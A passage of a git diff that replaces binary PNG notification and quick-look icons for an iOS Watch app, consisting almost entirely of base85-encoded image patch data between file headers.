z;rT%Am_sDS?^<9y7{Hgd>verkOhtv6DH;r)ZBW6*Oe#vulWX52`aNuU^LVa!y|NoR ziZ8wAX_Tx|l7Nxx+h@Ioa-pI!Qc>&qmamkUSVkkHyg-{NDmBV)i(0%>8p7AK zT36N8(zeEacx-L|^vljmnIVTSMB^GAGt`rQA(b)9qWbFTO6ectD~=q!#v7*bx5 z)66vKjjridXp7sk;&(0CvL_LWuD>0oAE|-*q?0wnIkMRnJge#dSUobg?0L zY18%7t^l~Y<3r5a!o=ZPZ%zAkTcHyb?{!Z!@6d@8KbN9rb;EaP1%66E8OsEAKIN$I zEx~>ImBR$#_qZ3CG&fTwHn;;kOP)Hp>X(x^gt5tXQ!zqSE52d&SJ=p&%2eb|6pWYe zbh79sa(&G5=)W|qt0xg%F>4p;kQa<2F@B`EDS`2yKvXy<9KFqzKlSF}9 zRmm|A`=#G^Rtxlv^o(@U-iKSq+~!9=E^a4^!~DqUADf!=KJgK;iA4(?ADQl1QGOuM z;NPmUencl=V=e(@`p;ESbE2{S(vHZl3kUS2dd1mfjny>{N_8!`?&m=2E&6-dx)OI) z{VV-5;AT74#mj7&WqFq#l^by1jcS%Y27bX!b(o*%!8l%=m+b95!_5cvTsl|7EpcN= z@`4Qlo~rq2=Dd1J?)12^H3fMXGk2*%ZQeL<4gP{W_$AfhV=Y!P&eT!f`$=uslH)^aax;oD=C|{@G=XZ0>}g4+ab5M2b~XM)gF4|zzx)&<&Hc+uAK$U zNe(q~j9|~&*9@0v`uzC--I2O8HFOsvOiKx^PFyC5EpFn*(rDsFDX8w-zuZUvJbJh0 zgtlWz(LRl=K}BuOzAgnw4#6w8Ev(61_E=MzG{%iaq_s=p~jFj%V#?iW^zH>%K!4f4cr8u3lSq*CMb90 z(y(Y*VTn*b3gcR^kkpf<%J^v5;b(Y;!Z$A50pA&y_S5K#J`6dw9$~WnntFY<+1Ts7 zsQFoS4YH<0)xgx2B2iEh_D(^)3@myU-cTEaMA(cqu^{!9O@KNJyF=V*opx6hHz%b8 z-Y0UJ4B9r@f805fo;r;HKh_ulHhUhxZy<@2B5!_#9RoivY&wg0WArn}Z)Ip^m@nIQ zQA*RXmm>Y{P)`U1vFa*{{4KHKd-?&F zIWvPv+{nMyrn3+tk)GVUE*5Ni6uu!VwH2@O*#1;WB_WWlOKZ?9og2dSeF(}G`b0Hz zalEj|)X=r4r1H68(M!eebZpWE;C_R!#GU0m{b**QH%1bt*#mh(fj@q^DFrIyE#gR8 zBbgc)tSr(@CNB+S9WW)}YzxU0eE@|>0QmHFfEc$rz74-t4P5u|zOF9bEq!uK1*~R) z%C`{Wy}psl7*-t||LQmB^P=U}lbQS%|JbOwVTHFdCr+NS1NXP+d>&NqE%2zw%5x6I zY+5kZO~X+N$Qetc@`*1DIeuL6f%JR%x#_McPhJfzl}ud|Q-d*^u8b4~byIIPtqcx1 zVa+2RrwO%V-!}OCU7r8{`yhS`pv)pYFmriStW`j%C18^U?$@CUb)V>)y zap}T-+1#q3adNcP015zjBbr>*M(I&|-B*VBGgI-4)NZ3JE1kE}{qf}S3a}tf8{Lim zl6#Dh%eNKZ`-c9Ym6O+Dj=jamler!-oR0E9@=!T!xn6wMl>Cl~gb}cPb$x!7ACMo^ z3i_24BHVAjR6<>@SCc@CpRqcF%rx?k~%D zlTPqP+mzN1$>Aco2Ta{&`R~`Ml{0$xBE;@I*pzE~+nM<=`LmyL30hd$_ES`ui;8== zi!x$9e>Fc65xK#In|{9E)|p;ra|+?2;w1X5avs-ACEeWgP^%g4afbdW9crT`#0Cd1 zdT6dM)v0A>N$Xv3H1;$-1xyHe{zX!g646I(T9%j;Uu`>lYZB1zjQCg^4ukZ7>xkN5 z*&Mga1D5mM<}Mn3Ea4LKD`3l%){&5PH@0#(Nt#_~n-N}J!^`_V3buWes`tjZ3hvV> z4@QOej9zHjPAdWkJE=ghY(Y;27%Nl??-@Kr=k?S_Q|I89842n7+vteLcRtjZtX?t5 z+ct64aE`pIA{=M3dD8ncKCv(HTdZOJ6sHZe$_9UaPI#%bzS+5>9(EW_o>)4@#=&JN z8p-Qb^K^6_?#skH6+s+=K+(tkRt^U}GyZ|><6IiTx^(>F_>AKC2q5w4`ZL~(D>lZ% zjDv8q0?f1qe1vm>N|}{Vr3Lv|S=LbprRcC<&r96zUlno`s&on|xSXeW0PiI7`fXG- z=k0xOsI2ta6b2T@v3x58E%Fdls*j)7{=xEQ5s^Cl&n=F;ELDS~JzZRcy1t0ZJzRm-nmCGC~_|*YnG!5pJUP zW=zcbL=stDQ1csF2b&8*$MbA0<(aHf+s-BbQ%>!^WD@CC*GVfR_YHYI?73{Ga~S_ehuXw? zprsdX0VKjYsvW3MKRh$^?uyvO;bPkg4C5Fp-LuW!#m^a+M4jqO710mR?>C5#ctK$A zRtn%E)3-Qc=(xF!&ME8U;%F?NLH03r+tV2wSD;}5mx~JcfAt)*v)iCfM(xNvlCG^u zPuZvLo?;C7@5NZmY4uET9h8q5MHt?@k|7T1U+MEB-DHwz9umYkBSN{{bA{F&zK^ diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-38@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-38@2x.png index 7b7a0ee0b65b5255003eeae7b519387725402b3b..53e410a4422f0eca6877e2e20241c85b4746b69d 100644 GIT binary patch literal 3142 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 HcDw&?6!Ds9 literal 3893 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 D@>h5i diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-42@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-notification-42@2x.png index f13c9cdddda0fc5206930521af6bb19e18f102af..3d4e3642a75ee5c6c88dababb1269361be7cf5db 100644 GIT binary patch literal 3651 zcmZ`*c{J2t-2O5dvacDEh8UA|W@KNp#0W9S5?RKOh`|_JvhT!LlYJ@KvqaXAJxj@! z-ESggD{I8``n}sZ?;r2E=ibjbpZh%LIrsV8E!N0Thl!q-9smF)w5}HBJj(ss>8Q^~ zk!Ec+0H6X~G&PM}uvh?qq+{*ul)Hcn;$TL`W`AMro7;x;Y$Rj)O%@0wl$DV^HJ$;2 z2NjfiOhX?^ZTw>#&47Pda!CaAokhJ8bD@FnK?z;5L<+OLYsd_mwUH^t=03)V+L1P7 zMqA+Ks5+58xr+3($56vTgqt&T;t2R6+pO?nkj_{7XUSS5805kX&9H|%(K+Cq@zlpx zi-dyNK;gaSVDQ>Sy4sQ~M#i~&JP;vwfgaOK2*l4O1j0=ziB&TKebd2M&?1H=CTn~g z0#TK4wp&hgv}5h)?Cj)XVxZ%5Hvw8las{r^edh6kU_u4+82uRs83WWa*uts81;TlN zms4tLgO?~9=axXRx)=ih2!H`VNCW_!oToz80l)_V06**iK=By>aN~1YjFrzPzz(-{ zw1B_=wu1K3)bk820d1g7`vXMFBu)FiqJHb#T$KP*3j)U87mD}taB^|OK?(kN9P~fk zhLdtlzEt%<8Ba^&B)WbJtqKY0*8BzMH5a+1oy}Z{g(^7p@$3KopwK32aYJ2u_#*7t z?8{dEzNj#_1iBPQ5*O9x1Cc&Owi}{6Jf|_Y?pn)OXZd!YnfLv~QHm-ZO4@_r*An>V zBd3C-ZtT8#Hd*bd?|dqeznefS-NaeRp%r@ko@OR-d&oE%fN}dJ(4G-Gr8@ESC58H5 zf<|EVZ#X;y(#-Z*Nm+<{p45BKezym%boxE*qOrQ`rj@3*6MM-|zXw7YD&~HNGYEd^-|Z_*(6%5r+7ob! zSTEdp08j{&tONojfkK)hN1Qj-%LPwx@o)#cF*+J8$=e1d?0tPUbGGO{)TcW=77#HNaP)Sfk()Ff6FxoYEb5&bu1?O^}$ z-huv|J7XzGFbzGGwYm}&M6*6wpsgeA^MKK!+>nbCuw1G7Nmtsx>V`uUX)Av#JyM_N zcS3?EKPbFZtrCns^u8PaOj*)pB3dJ|e+efj=(VOobu0*VGBz}VHSWi0C_GuJZTdlP zy5^Ul$+0aLsH+8?h58D>2;Gs2PblW=HEcIp>4fHrfc| zh#^f)N31$$;6~#9cwZ)MNd)rtO?SC zqJ!em%hll&2phOT7aE--NVO`@rOG*w%ZECV zX?EaeC8%19mUapJKN<_urGbIrr8#SswHv(q>cQp3Hj#P}rgoAxuPqF7w;OiYR#(d@ zF<+nhMr>i%^q-I)itrB7D1h}9#r2$Ou3k)UWfL|YlaPxrR4ZP~bPXz%xNh4r>}t-H z?gU@iRD(XI0ygEx8$U?34FvbqMd`@F8r^vw2c(LN?P;V(r$%T|6)_)?=&UsLDqi+| zl4Qf780U0qXF}7LnDcz@pDi4nbWbkU3hC+PY*#Nj=k1$EQmN}9%xzC|*C)Q`s&$M8 zc|@BTBiW%@gN;>#sr|(Ln6JO&!>KG1y&I5UWmr3TGlW51p>K{3AN^(kUQ^kbMUIqi z{aR9UoSdQ#K|;q3TU-wk1Nz_LB((&mp2BN>8ssvEz*!R7HZTC(WO~dALw^LnZc##|l4clrqAezl&>l?$- zbO_q)rw1}4nQMF6HL)NBFx2K%9OHUhH^y3YoRgS>u6g= zg|-vs=m7)R%r}OrwxYuh+O6laEAy2eWUTT>mh1L6Xs8FxZP5*l>U0pW(UZ~R)ah!I z{;}yPF{AT=6AV}QPL0yN*Yzc_B+amtD5a$0*NtAe>>(X{p@CV#T0FuL`w9?b z_y=|SdM)_^?@ReBfl7CCrhN|5Cl+L0Z_9yd-hqpHvgd{u?+hMxG0^nU&GFB-L{fnj z?=JPUsu{Y?zTF9{Z*hP3Mb0~eHN~b$J%)VqVloC09hH}U{g$U%lM<3vhh2?Zza4yM zYqob#Kz9eFWv8i{-`Xm3>@t_PQ>E`_QBz(X8*@sD9%hFXS{4f?l?2Y-7UYo!dLYXM@Hm)Pj*Zynj^8?MOxqT)o!EA=jk&Ad2iWP z$=%+cnm@4#JZ2(8Qp1&RzSVVQ^pb3~8R?Pp$KGugikn^mxCW-_tODkt`hi-ZMdV_Yx7KB_QMtgMbLwvk0#8N&~?G z5cx(Aw5!eA>X&@_-Jp9}lPPEsc>fTL2q0&g&_qIO4luOzmYDyqRT$mXC* z?FDwA)r~XO>#aj>A<^OPd}zl^Uq3Rf;pH83X{UL3Et1$vq* z*&g-Id}Ti#w)@@KUy}_SGA$?&I(nDHZdVmqN4>Xpq|zq2P?vf|C(VHV$s;uW`)+ui zLtLSQ;5R?X9yiz=an(0kR;Bvk#tZ~pY3x#Ca8=D5g@;x=hfPU&w_z6JOu+SKPHvJXJ3RmsRMv{MF>MlG^Jq z;h+uvi9sRUkUmG6XE9&1YAV30ynVrkU~z0&PVxLw%}ax$E7DRehfj2Q zl#fkUj<^F-k_zw6ZzI7P^1o&}P42X4hOeY&?zFD7^r$sXE%_u>x~>QAlRmoK)?nZc zOciqiakciV6f`rri+Ka*gpH(adf&wpA@jOLcL63Su3u)=IrqYh=~rCNpayj6XWJT tK3cZTN?89U%a2hw`YbT#opBTl3|3oo{l1?beEwer(AtJt)f#qT{{gi1oG$=ZMb8 z`bHQWea18xaeJadf};3D)Ikl(lF(Vn+MV8)s(apdDj$@};Zl-gD1? z&$(x-0yslw=nS2qe>Nc^5r6*@GN4$f$ic9vi2d3N9_8)mk~aeU{Po0S%pWavFeU`t zh&GSMV+TqhAAtTc@lRhKA%h3eUg37zx|Q=dI&oJJ2_XbKm;%t6`{z%ItEpT~5W(Lg zWkJS^uWYP*_OUcsW&;@zLm(q%XWz-Uc{6KgA8P&wz`PfL`C@)ssfu4IgbD$|O0#N&zDFly`u!iDGseo1aZYC_`GmZoSRhGRdQI z(2xhJCSCpw9xTfUHPt7Y83oy7o=pHYeOFRqY1;DoyxQ>-HV{JG#{=xpoUU3zNbQC- z>2yo+UsAlySJfCSy8!V!=J(#hqfv|ddx2sh%$FH*1y5@Ugs>%peOpHR5BSZ=16cC6kbIqPqNK|b= zdNgoRT|!c+GV02iNr%04uyiT51MJXT>C#*_20*Rc``xHif9qA1?$)ST30qk}@X%%Ga16OiOSSJD zIZDIS*~K+x+vgTVR>A-=ud1m6SSM9e0>A))CrFH_i76!+i7c(R;5V z&a!BcV=ChVa#nFu901q4bNiBzUpFEII$-jYh>*XtwNUX){HWfrA*p`R?T^(suGp%y zG+h!9`z18gHECu>Y1opmd)?CI9}xh)Z`qQI6TaQ`MyRPF7O$zmcJ7?4k1Q?iT6;(C zYdg1%kBf#e>T#=<-Jia;f62mO)0|Fi*Q3vD@yUkIERs+fba{RW01I#g#n(EfcKWy- zH4ATh{NS2p);7HWq2Mgi7cn+h4o`ILe^jZe7#od7#i8s5mrxo9$zTB5r{B5)LioYw zpE=jM>$7*T)ooQJ0}?d`=x!RKFQ1&;<+&?u=jHPbWt@{3lQ;?ZlWaeHv!&w2XU?BS zh(^;h*D!;Di1oT7BAi*m1JMW|Q#mKpWXaN9iqol|z4kz>XCIwSwY62hFPudP zK%?%a9;T1pE-G8Hu$MIP)=jNObG<@z3py#nkg5TQO(3L$HwA}7hePdId)&RU*3qP- z3Q5S&ou}i-t#KwodM2-yufN`u^!c{U26t0-5J07bFfoZy0$hzYwzCjttKB_||KhrF z`}Ven7R%8yLJ0G7&=gNg|D^Kow+8!ND1p`foYiCmaC9yQ*{oQNbg*K)Xel)QA|3tD22 z3bAh2*$*L_rUCjq{jdmG(UF8e&{3hvl94z;bL9qOAa(5|MT`p|fKp#OQbL6080VdV ziSuY=l=={U^bQ!lRRQ8JnY2k!To(BlRzq1hy!N5{|D;rsfFLq% z4w3+oJREskjq8RO00hOIZW4AB8$u-uxk=KnQ|Rb4*x3dk!A|uP*G*L+d`&bK!=S1P zV8<*b&PAM}5R#f!IAq#1zkV~|4I>q&iE6rkmY9Z&0kI{eipOVNa6v01C9g9Z4Md#h zA`dju8KXsac`OD4>G z36JnbP3r?(1CBsTwnil?#N--)rzQEwuG83zJJ+_Ft!@Q{X_6BFip9DW1`ruzNM+@q zSf_OK=uYN+T-<@=UVAu`#4es*LC94#K0cnR8GRo}pFFwh`ClUit)#24k?##nh zcOSpXfd~CVD=Ny3Vw^~rv;Oq*+U6c9MRu7JFy0nQ0IneCDk5lI1$Es!QbGbY`{#j?W3L-9 zV1O6$^8wbb)kK`(2lmc}NLbJEG$7a-ifAeVQc96TA|N%_EfnG5?X|l#F)uSSGZdba zcVi$m?HfbeIXeNMkOPH08drsU0ZT#{F1!3`J#gpb93$f~;B?ga`DEaIkJdy6oi`!U zv)5M%<~YeJQ6>YP&_58ZC`DFCAgll5{qDNIVc#|V49>DLAr-Iq!=gcw*PZKEHBm9? zB@3aXy>wv#jU#Pr7_tAJ`TYuxfDrS~y6XDM;GpxCnM_8JQy#OVxR8(&t3;SB-XcYN zr0$CJ8#F%au7}En+?}01Oo+aou&pFCH zk{hCf&b=$`KmJ_YuHdQ#GoH1T@4e3*i>V@Jowx?7Hd&H98U2=JuG{pGXgUdy)%WL3 zFzhc|8*?|Os(OKZbS+UtLcFb!SmL+Rtn7C`eriRbNU-zsfff{;sO9bxHMKMj3^Aq>1i7=B7?2Y%ngG)>Uyog!yEr57-s-AJm+vvPG@KJ8v?DO<@l$LY zA$m+SqDCXBY31pKAM|hd&-;_Ly$4p2n#xHu8iB}hsTLB5nKV@n_s*!wDE=fP+q2C97E;=!k>xR~5t{l`Du_yH)?yD!A z6FvC%2IKcX)IcaC90Q7iQxA)>ELsErnhL~V)ZMHUpMcRTZs?BzKia<7R_=3)Y(~Z- zEd>#7xhRY+lu&NAKqx8YrPjVf7l!NVBE#3LQBT%wJM~yb7*sxZ*J!2kz!Qq62X>A$p}%SZ>BuOkgKqWv) zg0Ru-2}sf=$nL+Y_jBuaVaxw7|o$n=eF6Y z8@DBg&K)t%mz45|C*J-hmz0g-ToJAfP&NG+5GCh4-3$%=20{AfPjq0Ys-WbY3#h3g zT@e*XjyQ+JWO~bIOM1uOE4?5*c<7ZWn@W;Nf_ zu01s)=J-l`)&7S=pOs8MJax=hwRhd}I?X=Ynf}bG4?)kG1Rw(F_lg`*pA$WF0L)B+ zzph;iuWj52zhAr<#*P~Yk%|LAB#Ef13P_~1BCfG?LJIW#W(+C|?oO+@bNW5CQ^(9u zcYZj`u2AB)SbwK8ZD=6Bn&xs#OGOYTp@}n#YYmnvgWn5KQ#mZ5{D-GW$vfrM6GoIb z&AN6+&A-k3y+{H;QS6#<8gXV4c&i9_#eVqmP$lejRl?VEY_(aUnku>&7O{a_Yglv{d`mzzL7!bU5gM z>#l3$!!DkUDZM=gO28cmsu7=8BdzYf@infIyxKLLP#G~C_UX}Dk`TQfIDGf5@W%nY z;D_g)ggc{6P=DWiV8VNfKVim_Oo%NJp`m`B<#1Il@w8;|U{G@hLYgANM$gn%HRrrr zM1rjcYjSGuBTo5kjff>8_GLW$REcN!hzq0XeTo&ET}m_=nGnDqjR8oK5qXSIqp7Wf zECg4KzvMdS9iu_(SWba;EIw8E~&gpejRNFk( z_7+S4Y4e`Pa}-H5AS3$-rLo!{e;mBJfB)u!1RJmLdTjE1$2HY+r_7PAn=zZ*a6|p+ zz9J*115Ou5locB{X;n9k`=4}Q%Qe-&0@Q3d1hV|4#Bo>bwmS;7;*AsS2Y+1e357M0 zEO*O`qn2PYFkeb92c9?fUAptV+aNA(B#TAQkNJIlGPFosRea({FBN`p_0qOH^RzTa zPZwN!SrofsLSDUMs8HTO}GiHhL z^(7@1Jv?-B13&eC@2BV&e`2A#Lx+Qc(#Ww)5f8RdERIupHM0dkAY9s>TSPV4r zc8F3?Bnb?0CTOzue82Ufr*9bSbgJ#z5v@Map3B|7U36FR{}o(!--rmoiV)dli|?3B z>#DBJ z`%J(853roh^iTVi>*!ZL`o}=OP4hcLXXp(5>(c)L7yAM{saTVN00000NkvXXu0mjf D9@*eR diff --git a/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-38@2x.png b/apps/ios/WatchApp/Assets.xcassets/AppIcon.appiconset/watch-quicklook-38@2x.png index aac0859b44c6e8e5742f6e962abbe64a7615f5d7..83df80e34d83ea3c63b106999a05302cc0530a45 100644 GIT binary patch literal 18402 zcmZ^KV{j&25bhh>wv&x*Yh!C;+qP}n**JOQY;4=M?QD#@-&NK9acgSkRGsN(x~fmt zRQJ=}k&5yX2(Y-Y0000%N>WVu-&+0O4GsG5X{j!bsuc1cga}*65(kfH`oMVV%(s-h!GVQdf?(S zV2z`VyJQU7o%Oc(I201h5|KE~@P`?+k%PGd=qphXxjzb6@Q?;1053`a zARq()c>A{%a0&ppG64YR1^@t01^|HNkkhWj_wNOyk&J{G;QPO;psOtT-wu?El$Sei=yv) zAwMD~m#qDU%xf#MN%>qQh$QAV8zz)}nc(iE`NbwAJ_$pav0mCiI2;ya69b)Ol86Cv zX+bs2gTh9GgYyybQ(cE$C)2(EQ)Bqn^sA`asJP4j2U!gMX6UjnBins>#!`)=toa9h 